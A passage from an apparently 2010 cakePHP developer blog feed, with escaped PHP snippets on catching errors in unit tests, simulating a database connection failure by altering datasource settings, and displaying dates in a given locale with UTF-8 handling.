&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; errorHandlerCatchUndefinedIndex&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errno&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errstr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errfile&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errline&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; )&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // We are only interested in one kind of error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errstr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Undefined index: bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;            //We throw an exception that will be catched in the test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            throw&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ErrorException&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errstr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errno&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errfile&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$errline&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    set_error_handler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;errorHandlerCatchUndefinedIndex&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // triggering the error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        $foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;        echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ErrorException&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $e&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // Very important : restoring the previous error handler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;        restore_error_handler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // Manually asserting that the test fails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;fail&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Very important : restoring the previous error handler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    restore_error_handler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Manually asserting that the test succeed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;pass&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>cakePHP testing tip: Creating or edit a datasource on the fly</title>
    <link href="https://blog.pixelastic.com/2010/07/13/cakephp-testing-tip-creating-or-edit-a-datasource-on-the-fly/"/>
    <updated>2010-07-13T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/13/cakephp-testing-tip-creating-or-edit-a-datasource-on-the-fly</id>
    <content type="html">&lt;p&gt;For one of the tests I&#39;m currently writing, I needed to assert that my method
was correctly returning an error if the connection to the database was
impossible.&lt;/p&gt;
&lt;p&gt;I couldn&#39;t find an easy way to change datasource credentials once the app was
initiated, so I decided to manually update the &lt;code&gt;ConnectionManager&lt;/code&gt; inner values.&lt;/p&gt;
&lt;p&gt;Here&#39;s how I did it:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Getting the datasource cache in the ConnectionManager object&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$connectionManagerInstance&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ConnectionManager::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getInstance&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$databaseConfig&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$connectionManagerInstance&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;_dataSources&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Saving the initial setting for reverting it later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$_defaultConfig&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $databaseConfig&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Changing the password so the credentials will fail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$databaseConfig&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;pass&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Getting the updated datasource&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$connect&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ConnectionManager::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getDataSource&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Error handling when connection unavailable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// And reverting the settings back&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$databaseConfig&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $_defaultConfig&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This proved really useful when testing to simulate a database server error.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Displaying a date in the correct locale with cakePHP</title>
    <link href="https://blog.pixelastic.com/2010/07/05/displaying-a-date-in-the-correct-locale-with-cakephp/"/>
    <updated>2010-07-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/05/displaying-a-date-in-the-correct-locale-with-cakephp</id>
    <content type="html">&lt;p&gt;The easiest way to display a date in a given format is to use a combination of
&lt;code&gt;strftime()&lt;/code&gt; and &lt;code&gt;strtotime()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sometimes, you also need your date to be displayed in a specific language. For
example, for a french website, I needed a date to be displayed as &amp;quot;&lt;em&gt;mardi 03
août 2010&lt;/em&gt;&amp;quot; instead of &amp;quot;&lt;em&gt;Wednesday, August 3rd&lt;/em&gt;&amp;quot;.&lt;/p&gt;
&lt;h2&gt;Setting the locale&lt;/h2&gt;
&lt;p&gt;To achieve that, you just have to tell PHP which locale to use when displaying
date with &lt;code&gt;setlocale(LC_TIME, $locale)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The value of &lt;code&gt;$locale&lt;/code&gt; is OS dependent, though. For example, on a linux server,
you have to set &lt;code&gt;fr_FR&lt;/code&gt; while it is &lt;code&gt;fr&lt;/code&gt; or even &lt;code&gt;french&lt;/code&gt; on Windows.&lt;/p&gt;
&lt;p&gt;Fortunatly, you can pass an array of locales to &lt;code&gt;setlocale&lt;/code&gt;(, and the system
will use the first one it can find. You just have to pass an array containing
all possible values and you&#39;ll be good to go.&lt;/p&gt;
&lt;p&gt;I wrote a little method that use the &lt;code&gt;L10n&lt;/code&gt; object that comes with cakePHP to
automate the creation of such an array. Just feed him a 3-letter language code
and it will return an array of the most common locale names.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getLocales&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$lang&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Loading the L10n object&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;App::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;L10n&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$l10n&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; L10n&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Iso2 lang code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$iso2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $l10n&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$lang&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$catalog&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $l10n&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;catalog&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$lang&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$locales&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $iso2&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;_&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtoupper&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$iso2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;.&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtoupper&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;str_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;-&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$catalog&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;charset&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)),&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // fr_FR.UTF8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $iso2&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;_&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtoupper&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$iso2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // fr_FR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $catalog&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;locale&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;             // fre&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $catalog&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;localeFallback&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;     // fre&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $iso2   &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;                        // fr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $locales&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You may note that I set in first position a locale with the mention of the
encoding. This is only used on Linux machines, Windows does not handle that.
That&#39;s a pity, but I&#39;ll show you how to correctly make it work underWwindows.&lt;/p&gt;
&lt;p&gt;As a side note, &lt;code&gt;setlocale&lt;/code&gt; will not &lt;code&gt;return false&lt;/code&gt; if the locale is not found,
it will just fail to load it.&lt;/p&gt;
&lt;h2&gt;Displaying date in UTF8&lt;/h2&gt;
&lt;p&gt;If your app is in UTF8 (and it should be !) you may run into problem when trying
to display a simple &lt;code&gt;strftime(&amp;quot;%B&amp;quot;, strtotime($date))&lt;/code&gt; on Windows.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%B&lt;/code&gt; translate to the current month name. For a month like &lt;em&gt;Août&lt;/em&gt; (&lt;em&gt;August&lt;/em&gt;) the
funny &lt;em&gt;û&lt;/em&gt; will not get correctly displayed, because Windows does its locale
translation in its native encoding.&lt;/p&gt;
&lt;p&gt;You&#39;ll need to manually encode it in utf8, but if you do so on a linux machine,
as the result is already encoded in utf8 you may end in double encoding the same
string, resulting in others display errors.&lt;/p&gt;
&lt;p&gt;Note also that if your format string itself contains utf8 encoded characters
(like &lt;code&gt;%A %d %B %Y à %Hh%M&lt;/code&gt;), encoding it in utf8 again will also result in
wrong characters displayed.&lt;/p&gt;
&lt;p&gt;What I&#39;ve done is creating a simple method in an helper that will take care of
encoding the result if needed.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; time&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$format&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$date&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // On Windows, we will force the utf8 encoding of the date&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
